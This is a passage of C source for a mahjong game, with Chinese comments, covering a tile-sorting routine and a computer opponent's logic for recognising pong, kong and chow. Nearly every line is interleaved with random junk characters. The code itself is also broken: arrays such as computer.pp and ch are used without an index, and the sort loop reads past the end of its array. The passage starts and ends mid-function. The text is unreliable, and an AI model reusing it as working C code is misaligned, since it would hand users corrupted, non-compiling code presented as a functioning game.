1 R& q& n' E; k; O! R4 G6 Mcomputer.pp[j+1].number=u;
9 \) ~4 P( k2 k+ N; B( @}, a; A% \1 A. I3 F: D
}) x5 b: n1 q7 T& d) Y1 F0 k! P8 h
}
. k1 o& p- ~9 A, `  ?) h) Vvoid melipai()
7 u6 S9 I6 I% ~* T% \{ int n,j,u;
+ L0 A; r% M. Bint *lingshi;: J- e; ]+ D) O
for(n=0;n&lt;me.m;n++), d" S, m/ p# \9 D
for(j=n;j&lt;me.m;j++)) M* a. v% s0 ]( N! B
{# ?/ Z/ }% X; B8 {
if(me.pp[n].number&gt;me.pp[j+1].number)( |+ I5 b5 N+ ?; f! O! ~4 O
{4 Y/ P- q: ]1 i& D1 {
lingshi=me.pp[n].k;& ?& ?3 O. a% R
me.pp[n].k=me.pp[j+1].k;
* g: f7 X4 [0 C! K% u2 {me.pp[j+1].k=lingshi;! F  \5 ]: r8 \/ F+ X  k/ O8 G- s% }
u=me.pp[n].oneorfour;
- p" g8 v) ^; c" ome.pp[n].oneorfour=me.pp[j+1].oneorfour;" L, c% I* M8 j* a' d
me.pp[j+1].oneorfour=u;
. [) r6 p0 ~. G% j. S0 _3 N/ tu=me.pp[n].number;
8 z) A1 B! N- ~1 g3 Jme.pp[n].number=me.pp[j+1].number;; l4 i' m# Q+ F5 s0 q
me.pp[j+1].number=u;
# W3 d* v  Z; `- Q}& G# v" l# g) h# t) E) V0 P9 ~' B
else
6 z  `4 u" Q1 n1 C1 U# z6 |if(me.pp[n].number==me.pp[j+1].number)2 `' [/ ~- D; W- i
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour). [7 n- O7 Q/ L2 _
{5 I/ f) B  H( \7 w
lingshi=me.pp[n].k;$ u, L( u8 T" N3 N* d( R
me.pp[n].k=me.pp[j+1].k;! p: o. x* h3 S) v
me.pp[j+1].k=lingshi;7 q. @4 Q$ M3 I$ N2 B4 E+ Q
u=me.pp[n].oneorfour;
3 S3 O2 C2 `. n! y' M/ b% bme.pp[n].oneorfour=me.pp[j+1].oneorfour;& S& ~3 S1 `' N( E) o
me.pp[j+1].oneorfour=u;; p! C% H+ h+ w5 d# {% H
u=me.pp[n].number;0 J/ z- `; i: l) Q  b
me.pp[n].number=me.pp[j+1].number;+ D  Q2 w1 `7 a, H) R) a
me.pp[j+1].number=u;
  \( Z$ Z9 c$ e" J+ L0 U0 D}
9 g$ w$ o' Y/ X+ K5 J) G}
1 e  ^: j0 W* X- B0 o; J}. c2 s7 H" i5 _" w, L, u2 c
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
3 j! W" L* d& |$ G1 T- G4 ~{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) B' Y$ _! h, l0 Y7 Nif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)3 N, y) w" ^) l: b$ `' k
{
% U6 h) h' d5 O9 d1 e; ?, e' f- plogo=1;3 Z- x: ~' ]. U, D
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)- `$ Q7 c9 q" Q! |+ o
logoo=1;/ X& g6 c6 ?# E+ u6 p' n8 W
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
6 M" B+ P% S5 \: w( J1 tlogoo=2;
) g9 I6 i" Z; V* |5 [else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)# p/ O: t2 h4 g7 K8 S: Z, h! g+ Z
logoo=3;' l- f8 A& h# J$ m4 O" m" m
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
1 }+ ]7 T4 N* b$ ~9 C/ w5 q; Ologoo=4;
! ~9 S. b8 W9 b4 ]& [4 Z9 ^# ^else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)' U% I8 s9 o8 n, I4 r2 f) S
logoo=5;# v' O/ Z- G1 K# F1 [: }/ r$ `
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
5 E5 C; y$ ]7 u4 B0 W, ~! blogoo=6;- e' E- C3 J, B8 G. t
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)' c7 Q8 a* v$ b: c" s7 u( e6 u
logoo=7;
$ X2 L3 f1 }" k# E2 ?% Welse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)4 P' K) p9 l* A; y2 t
logoo=8;; @! K! Q/ D4 H) \3 k: J
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32); H1 K6 t' n" D7 r: C
logoo=9;4 r9 y: C& z6 s& ]
}! `% M8 ?! d, ^
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
' V. z* |9 |4 j, e{; @' r* i9 K, T7 O
logo=2;
+ b1 c' B) H& i, E% ~if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)+ T# X1 R" R( j
logoo=1;9 y4 e0 S: i0 k% q2 ~% ^
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
+ {( \7 x* r" K7 Xlogoo=2;
) u5 ]2 p  I0 X# A, Welse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)" n0 \' n3 ?# B6 f  D: M
logoo=3;
5 e; ~6 }/ s, }5 r; Celse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48). @0 D3 r$ j$ S; A! h# `( |
logoo=4;1 u; ~6 K! }! }% I. w( k
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
, W% J+ o! M1 L( U7 D# Qlogoo=5;- ]: B; P, h/ k# N( b3 r
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
3 P( }! ?1 x" j, Klogoo=6;
9 P8 N- N8 T6 ^( W+ S2 }# Celse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)( \7 Q. B$ p  b  k) Z, r
logoo=7;) P$ N- f( d& F+ Y1 i
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)9 a( e3 S, J/ f+ |6 h7 p
logoo=8;
8 g  M: o- g: U$ y- I  oelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
- G& I, y( z5 G& ^logoo=9;1 V3 E& U$ i1 X* ~5 g/ m$ n
}
) Q+ u( g' u1 Z) T3 pelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
2 n; U( p% X! K$ u2 p( `. }{
8 p% W% b/ ~7 O1 c! Qlogo=3;# E$ Z2 j3 C* J0 w. }$ z
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72); L+ e+ c( X  P
logoo=1;
- b" n7 L, j% L! I; Ielse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
, s. l! p$ I$ V6 Q; Glogoo=2;7 }, ~. `, s1 g' [0 Y) {1 ]! U
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)+ {$ a% e% E' Q4 H' V! Q
logoo=3;
2 ]% E2 `$ i( G6 O8 V# Q+ C5 telse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)1 T" l0 V6 ?& q) E6 x* e& g! ~6 `6 ~
logoo=4;
7 h9 O% w1 ]" a7 k% c/ celse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)8 c3 G0 s& R1 T: v/ Z
logoo=5;
* J6 {7 T# \+ celse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
$ l- |; l8 D& q' p9 q/ b+ Y/ Slogoo=6;
* S8 ]* }( Y( q) w  H1 e# ]. yelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)- ]* {5 c1 [, z) m" R  X3 E
logoo=7;+ ^) ?4 Y, M6 ?% W/ m2 T9 t
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)# P; M* D; X. b) ^
logoo=8;
. X4 G; v5 B7 t1 belse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)  n' ?- p  B& M) b% m! G
logoo=9;
2 _# t! n& {$ L0 ^% L}
$ F& H- {: E! N1 ~% \, pelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108); R0 {3 h# _' L, K. T  K
{; m/ }. u( B  ~; w2 x; S7 D
logo=4;4 V  q! _. O( Q3 H2 c4 c
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
2 L& p6 ]0 w+ |5 m6 H+ j$ f* j$ @logoo=1;
5 N3 y1 ~3 J# b1 J& belse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
0 ^) W5 u: l8 ~logoo=2;7 M3 h4 ?3 `0 m2 w9 X$ Y  t2 Z, d
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)* y: I2 e' f+ Y+ j
logoo=3;
' n# l( n, E) e1 M; I3 t) K" l. ?else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120): E: z1 D3 z! z: ^* a
logoo=4;
4 a+ |6 p& d( j/ w1 T3 C, ^else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
) A* I- k4 Q0 u0 wlogoo=5;
" `! J6 t: @& b9 L) v5 H1 uelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
6 L; E* _/ C7 e3 R0 f7 P& j( L  mlogoo=6;0 n! ^- a& b) S% e
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132), }/ f$ [4 K4 p
logoo=7;
7 v* i, h7 B( X& ^- c}
; F4 B& T$ B" y" ~' o: i" e% }while(b&lt;=computer.m)2 z( f- c+ Z$ I: U. r+ \: J0 u
{7 ^, e% ?, i$ a5 P, X
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/* C* {) \0 b3 w9 Q6 u
{
: [5 B% p: K, Y' X! c; R* O2 Elg=1;+ z9 n. j0 G5 Y7 E& q% w* _
computer.pp.d[0]=1;
1 q1 x. k- }" y1 Q5 J; B6 }3 p6 ^if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
- ^- X- V6 d8 Z' v/ z1 W! m" E, n{
# P: q- ~6 _  B* k' Y# S' Jlgg=1;$ `7 T1 n/ x" G* K1 `0 k+ o
computer.pp.d[1]=1;
4 @2 T+ C. Z# ]( N8 M}) i& Q, i3 t/ d) _& ~
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
: {) P$ U, B7 \8 U0 P& r0 |{
3 D6 ^9 e+ s6 j- C" @8 dlgg=2;
! d5 s; Y5 G5 u7 f, u# E( Pcomputer.pp.d[1]=2;
8 R6 d0 F5 l8 F}
% |& h. q* U% ?' q! n+ |$ Felse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)4 P: c# L) U: J0 r3 o
{
" k6 v+ U6 R1 L2 e% `, w1 j2 ulgg=3;
3 a* o. r) N' H3 {' W: S/ Zcomputer.pp.d[1]=3;
; H0 |8 y2 y+ C0 r( E) m( v}
3 U. x0 R% G  s  ~else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)6 P4 b2 x1 l4 D1 ]
{
" C# N" g: {6 h: v9 llgg=4;- D, O7 A, h7 K  T, p# v+ S
computer.pp.d[1]=4;
5 ?# M! U% K2 e) W$ ?) `}+ u  }# V, C1 \/ o
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
7 x( x1 t" @, I) q# V{$ m3 p- l, G% u1 \
lgg=5;
" f5 r8 I: p' c1 L; L3 m8 Z" q8 ?computer.pp.d[1]=5;  L, x( A' v4 ]% }4 W/ q, Y& ?& q. Y
}
: |5 K0 l* m6 ]$ c5 relse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)" y1 A/ f( E) ^
{" `# _! K( B+ W, U8 p
lgg=6;# u& ^4 J* T" M1 C5 a
computer.pp.d[1]=6;
/ Z8 E( u4 I/ I8 V! C6 ^}
! Y6 L& m& @( z8 P2 xelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
" ]% x  L- H4 |* J. e& `) k{6 v- Y2 W% r% ^
lgg=7;
8 O' I7 c1 n) q# K- r  _+ @computer.pp.d[1]=7;
3 P# L3 h4 U. p% Q* H. O8 `}
4 v5 @) F$ k7 w( z& E. Uelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)" @: W# Q; D  ]8 Z, ^! R! G* o
{
) g9 P" G/ ^6 r, ^7 z4 Tlgg=8;
2 G3 ^5 q  H4 vcomputer.pp.d[1]=8;
" g# V  V% U' h7 p; |7 ^2 z7 v; H}
9 [$ r3 O; k  y4 delse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)  i6 r0 B# Q+ q7 t9 V. I5 J
{' ]& s3 k- S. W
lgg=9;% {0 l& b4 U/ ~: z) ]1 }
computer.pp.d[1]=9;
; M" R* l- a' Q7 [4 }4 |: I}
) ~8 ?8 D  d8 p# A8 n( z+ k}$ g/ m& F/ [: G& @( A
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)) D7 x7 P  ~* ?/ K9 x9 H( w! w. `
{5 f& ?0 J* ^( D6 Q- z
lg=2;! U# h) V5 i9 f4 \
computer.pp.d[0]=2;. H) z9 m! A6 f+ r
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
7 U# b. D. y/ h8 }{" {0 H1 d0 e+ e% ]
lgg=1;0 U1 Q9 O6 q+ l$ U+ `+ A
computer.pp.d[1]=1;  j6 c! a* c5 [: u: v" D/ Y
}/ I8 P1 K- b( j4 P) W( e, Q
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
% V' V  p5 ?$ E& \+ T  S{
) F/ T1 n! }& I1 z* q. W0 M) Zlgg=2;1 Q' V" }  @% @0 n7 V
computer.pp.d[1]=2;) ?( _6 q* j7 F7 L; u0 L7 W
}
) j/ Z; _  s) X" `0 lelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
$ Q  M8 O4 p- H1 a+ ]3 v' O  n$ R7 w{
' @* W) u; g" {& h) J$ E: wlgg=3;) i: o8 P0 |$ w1 e- M3 z
computer.pp.d[1]=3;' J3 E# e( r; n
}
0 \. w0 y5 Q: j: |- Yelse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
5 y& L9 f7 d/ w* h0 C{! O& w& K, F+ z4 ~$ ?8 z. b
lgg=4;+ N7 q3 y( ?$ c2 N8 p; b
computer.pp.d[1]=4;: L  ?- J9 W& a* F& q. O1 O
}
$ x3 D% o0 o' R' ?4 G6 E. p0 c) @else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)8 c7 d/ ?( i* k2 X; Q
{( s) h- Q3 h. J" {
lgg=5;
% Y; w) e9 Z( i+ d' ncomputer.pp.d[1]=5;6 Y- @- e) _0 O. u: K2 @
}
- {! y/ z0 p! D+ i1 l  v  telse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)+ Q3 a$ p! ?* o8 p$ ^( r
{$ ~& z4 R+ d; F( Q
lgg=6;# R3 Y& _! s7 h( D: Z: v6 R; u
computer.pp.d[1]=6;
0 t5 L: t: n' L}
1 `0 e' ^5 u' M; lelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)# h$ j: d# l* Q5 c* d
{
) J  s8 \; @! d" ?lgg=7;1 D) p: d; H: B- E, c
computer.pp.d[1]=7;- O* [( D' o" r& k# r8 ?) {
}/ s" w4 L# ^% S) s) g
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
/ F; H+ n. X& A{
2 |; M) t, p- t4 g" U/ Ylgg=8;
# m4 O, `" `* W2 Acomputer.pp.d[1]=8;
+ N* k9 `! R5 D" a( m5 g}! X' Y0 }2 R/ W
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
3 \+ o5 N! a# ^' _{3 l9 ^" A5 t" Y5 A! _5 K
lgg=9;
% s/ \7 l; V  b3 z7 ycomputer.pp.d[1]=9;
) \3 n8 F2 x0 l" K# V6 ?& q}
' u7 L2 h) l- A. m1 |}/ T7 `6 {% C$ W
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
+ t0 s1 k/ o: P" k  z{6 _, ?" x: V5 o( ~' |$ E
lg=3;3 U7 q: A- h$ u, X- q7 E
computer.pp.d[0]=3;
$ \, F, [2 T7 y9 g5 P7 Q3 y& |if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
2 P! q) n' V# U6 `% Q+ n& j3 g{
+ [, O8 `7 k. K( n$ l: }lgg=1;( h6 @+ ~5 @2 [9 Y$ H$ U/ V9 J
computer.pp.d[1]=1;
/ b" G, y  z2 i  W3 b. i6 L}& B% Z* M6 H+ c$ f! T  o
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
1 M5 a8 w, f+ t! r4 I9 u$ j2 U{
# B9 x5 N4 i' X% {) elgg=2;! X2 a0 ?% T: X( f& c' w- u
computer.pp.d[1]=2;4 r& @2 V, R* R" H2 h
}
+ r6 k; `  d3 |5 [8 S3 _else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
: ~) i* c4 J  p' |4 k. b{, }# p( @! b& \
lgg=3;2 K, a& I/ L# p4 K. |" q+ Q& k
computer.pp.d[1]=3;
: O9 I' o' H& V; F}
, q: p8 Y6 D1 m  Melse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
( u& P+ b. |: D- j; v{: V* W+ f$ `: E8 N8 j0 }
lgg=4;2 P+ x% c% \, K8 M7 Y7 B0 m
computer.pp.d[1]=4;6 ?3 j2 ?6 \/ Q" v% r# Q& \3 E
}
: U5 x* v1 o5 L' c( E. O4 celse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)! \$ u6 ~% d# V; i. x1 t
{: N+ d1 X  L: v0 C% b1 O) N
lgg=5;
4 Q, p8 W* ?9 e1 U1 Tcomputer.pp.d[1]=5;; e& Z; ~$ x) j" V( ]* q" Y
}
) U' z+ {& o, A9 x$ b5 uelse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
# A+ a. D. K6 w, z. C{
) X  }9 `, r5 h2 ^5 @; Algg=6;
% H1 g3 }( M/ N8 T  g/ {; }computer.pp.d[1]=6;6 g6 \1 w/ [- e* K! n# M, S) G
}4 k; }- t- H, }* }
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)- s8 T* P. P9 M+ @
{) P# E5 S! ]+ Q# B& ?
lgg=7;* K8 j0 \2 v- M9 t) v
computer.pp.d[1]=7;
6 p5 }+ k* d) O}
5 K" D$ p, L( E; Z0 V+ Oelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)7 ~; K8 l$ C6 N
{
; d" a$ y  s" i0 n' vlgg=8;, ^( n) Y" G8 L# u. O% N+ Y& m# M
computer.pp.d[1]=8;3 y! J0 v" V6 E  X# M
}
" U. f( i7 _5 Y6 d6 {else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)8 U7 Y4 E; w8 d* V, T+ q+ {
{8 G5 B# u7 ]* n5 b: N5 {
lgg=9;3 `! f1 l7 H1 r5 Q3 [/ A/ p
computer.pp.d[1]=9;
# V- x$ f4 Z5 J}. F8 K0 e; f3 t; \: v
}
2 ]! q5 V/ }8 u1 z; delse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
% p# C2 Z+ [# r- \+ e# K" f{% I4 N9 o2 a& i) z+ A
lg=4;
0 r8 y7 J2 I7 P; [! g  v4 gcomputer.pp.d[0]=4;( Z6 X( S- l" J5 g: b% b) x! y( y( P
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
# u. P1 b" ?4 S{3 E( _8 C  n" h- b1 L0 ]
lgg=1;% W) |; c9 v! Q9 E" J
computer.pp.d[1]=1;
+ R& S5 N9 u$ F$ I2 A: |}
. M. [' X$ |. |( g9 o( yelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
6 C  {" ^) J8 m% J  C- F8 y. k  \$ A{
! k/ _9 n' D1 H/ C) L2 s" v9 Glgg=2;
3 m, A2 c  K" m4 xcomputer.pp.d[1]=2;
: d9 U! S! V% q; L+ Q}
+ x9 K1 ~% s8 ielse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
" t) b' b$ |- g8 p( g{
! Y* \8 T/ M! D4 @) J' f) hlgg=3;$ _- W0 a" v+ W) a
computer.pp.d[1]=3;
8 d# X+ O; l1 C- H/ h}
! d3 t" z  z+ R7 helse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)4 Q  r5 [/ }+ R" r# Y. E- T$ M
{
+ j& o, L; E! {, H- W: {' Llgg=4;
1 n; `0 p1 q$ p7 `9 S; Wcomputer.pp.d[1]=4;- v4 _. v: ^! |# p
}
+ A; f  b( e# u1 J. v+ }* Nelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
$ ]5 p& P6 e4 O2 T  K6 x. a( x8 I{
/ |4 E# {5 e7 \1 M% N* I+ tlgg=5;
! Q1 ?% X6 e# W/ j" P, x. ^9 lcomputer.pp.d[1]=5;
1 o0 E* d7 k( L( D+ c}; C# O1 {& q( A$ g
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
. ?5 N, n! h0 J; Q! e{
/ [" E% @: I! ylgg=6;
1 v* [: H7 r& B& S3 acomputer.pp.d[1]=6;
/ |/ R& S# l8 N, I4 u* Q6 l5 p}
7 Y3 z* s! F' D- L9 E& u0 A( _4 i7 Helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
$ r4 L# ?2 s% N  Y  X{
8 c0 r! W3 {3 r( }/ D8 K# Glgg=7;6 r) T; M6 R: Z& W' i  I  [
computer.pp.d[1]=7;
& @  l9 w, h" @4 W}8 Z/ X- t4 b4 [5 F2 z& L
}% I7 n8 Y* x" R4 L! S
7 v( H1 A% |% I
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
# _5 }. N/ X# T1 i3 g, sif(logoo==lgg)
/ W8 B$ Q, ]. U. h6 e! wpg++;" e) l% |8 ?0 C& d3 d) f
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
! S) M2 L4 f1 D' I+ s# G+ Tch.lgg=lgg;( @$ o& _8 t7 C6 ~1 }
lg=0;3 L6 `& Z% c4 c$ w. [$ w
lgg=0;" n) S: Q, T4 y
b++;
/ {6 J. y: B1 l! y- J2 T/ g}
" r8 Z  f2 S0 R, L0 Jif(pg==2) /*乓*/
9 e& [+ S) c% E* j2 \{
3 P$ T: s: ~4 x6 ?9 v" A4 _0 ?: N( w3 V3 e
sing=1;
) {. t+ r% J# R# Ib=computer.m;. t0 J. m1 b( J+ h4 W$ ?
while(b!=-1)
2 E$ T3 S$ u# S4 R{; ^3 R: n$ e- S  u4 P
if(strcmp(me.pp[c].k,computer.pp.k)==0)
" {6 g" h, m, T) Q- p# L0 Y2 @4 gcomputer.pp.p=1;
; M# j- ]+ ]# \2 c; W% s" p, T. `& }% W: z$ ^* g4 U, `4 [# R
b--;. d- U) W) R" b6 o. s
}
7 |" A& g% G3 M6 Z8 o9 Y}- n( ]4 P* j: t/ ?  n- E" I6 d3 H
if(pg==3) /*杠*/
4 l4 e' C3 t. s$ H! k{3 f1 d4 P* o  @

( G4 B. i1 P; `" Psing=2;) f4 @0 L3 u! V, w7 A
b=computer.m;6 _2 ]) v3 m0 M* }
while(b!=-1)
, j+ `/ x* W+ O& e{
2 z5 S, D2 w4 Q  {4 T0 ^/ K- Vif(strcmp(me.pp[c].k,computer.pp.k)==0)
: |* m$ P+ ~6 W! |$ Vcomputer.pp.g=1;+ o) o. R. k  S$ h" [, W5 f* f$ E( F
b--;7 J2 O; @9 h. S
}
# l! c/ G4 R$ a. |1 Q. |1 I}
' S: Z: E: U' C, `. A3 g" [f=0;( Z4 Q* x2 t& t; P* z: v8 p
while(f&lt;computer.m) /*吃的判断*/" x- x6 j- I3 S. v. W
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)* z+ _7 J! O" [
{0 C8 W+ T: a; y, ]$ r. m
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/: O4 G+ ]# R- R: a# s, `
if(ch[f].lgg-logoo==1)( A: x! o! R/ e$ v* ]3 P2 m5 Z+ J* Z
{
; A9 v0 X9 f$ \4 Egp++;+ W! q% v0 s8 O: h1 X' T
computer.pp[f].c=1;
$ _- I0 @  n) O: F6 J- @! [" P0 ucomputer.pp[f+1].c=1;2 N8 ^2 n9 i1 t5 q) e6 f
}
" L! z$ ]) Z- H) L6 g9 {if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
/ J4 ?  y6 G. t$ k; {* ?, {5 P. a/ kif(ch[f+1].lgg-logoo==-1)( Y. i0 `7 ^) P6 a6 R
{7 h/ V9 z( y' \. \1 V
gp++;
% M% W( @+ p9 D) M+ z+ v& J5 |computer.pp[f].c=1;/ l  y: V( c. _6 l- g2 _
computer.pp[f+1].c=1;
3 z# m6 _8 I( K3 U}* C% ~. i! T( y0 c8 X
if(ch[f].lgg-logoo==-1) /*中吃*/
( `! R, {5 [( Y0 n: K" ]if(ch[f+1].lgg-logoo==1)
  P( R+ q' M+ l{; s& }3 s/ L# V3 L2 i/ d
gp++;
: Z& a; n( }* S- G: U7 e2 M' |9 _computer.pp[f].c=1;4 _6 N8 p  ~9 r! C" ]+ T
computer.pp[f+1].c=1;
+ _1 \7 M: |; i0 A/ B$ `}
% _6 p2 W( o& |$ G# rif(gp==1)
4 j9 T. y% s6 M1 y) m8 zbreak;. s! T$ X, z* x
}
8 u  p# C& E) ^# U  g) D8 Hf++;
& X) U  R, ~' [9 a- x}, z6 R) G0 y5 Y* C
if(gp==1)
" V% {4 _4 U( l+ d/ J9 [2 |{sing=7;
3 [4 P- E% C* y; @) A5 a
' ]! E7 v. [. T) f: O}9 m6 o9 C. p$ l9 [
pg=0;% {0 B0 [4 v& O% z" D; y
gp=0;
0 _4 K( e8 I7 X7 o6 S, a1 |. Eb=0;
2 x$ d3 d' r# H5 K  L: n}% p6 G3 j$ a. G% x$ K
void rgznme(int c) /*本程序涵数的核心针对我的牌*/- d4 `; w: o1 M' `9 i
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
8 M; c! V2 O' Y" y! Wif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
7 u$ K% k1 C1 f{$ Y0 G6 r3 {& z% k, b& b
logo=1;- n3 a( Y, w4 j  a, C4 O5 v9 Q! F
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)% G9 T% J* t0 u
logoo=1;, I" T" E/ Q1 \4 p. Y6 [: O# q
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
4 |7 h$ [4 c+ Vlogoo=2;
# p5 g3 w) F, n( ~* V; Q- S1 xelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
: r8 j  ~; b6 W& c0 S" W, llogoo=3;
; A9 b  u4 g' n% ]else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)8 \2 M; f$ a4 h
logoo=4;* k- J4 g3 ^( d  Q
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)8 a) a0 m1 ~4 ^" P. q5 M- J
logoo=5;( m# |4 g  E0 H7 d( A4 x
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)" r$ H2 u& I7 |3 b, B
logoo=6;
- G, l. H, h1 x  T+ u8 @- I, L  @else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)/ ~) ^; A% E, T  E0 y' ?
logoo=7;
8 |% v1 T0 d7 d) Y& A$ m  z& Gelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
6 [2 H9 P) r& c& W, n- G' o0 Blogoo=8;
- ?9 A7 S3 B5 Helse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)  {: H: d* b' m+ V1 B5 L# R$ G. n
logoo=9;2 K% m( }+ ]3 c/ p' N0 o. U
}( B# Y4 ^, y% r
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)3 C+ p) o- v8 J, K6 R/ I9 Z
{9 w: [; |. \4 B* W6 J
logo=2;
3 ]% i: t5 S7 k* m) }% {if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)8 Z  z: V, L# s( A: u
logoo=1;5 h5 A2 @3 r- V; r8 ~! A/ L
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
  Z' s  H8 ?1 ?logoo=2;
3 |) J$ n8 R: A. q* R" ?7 [3 a, ~else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
- N0 }2 G+ f3 alogoo=3;
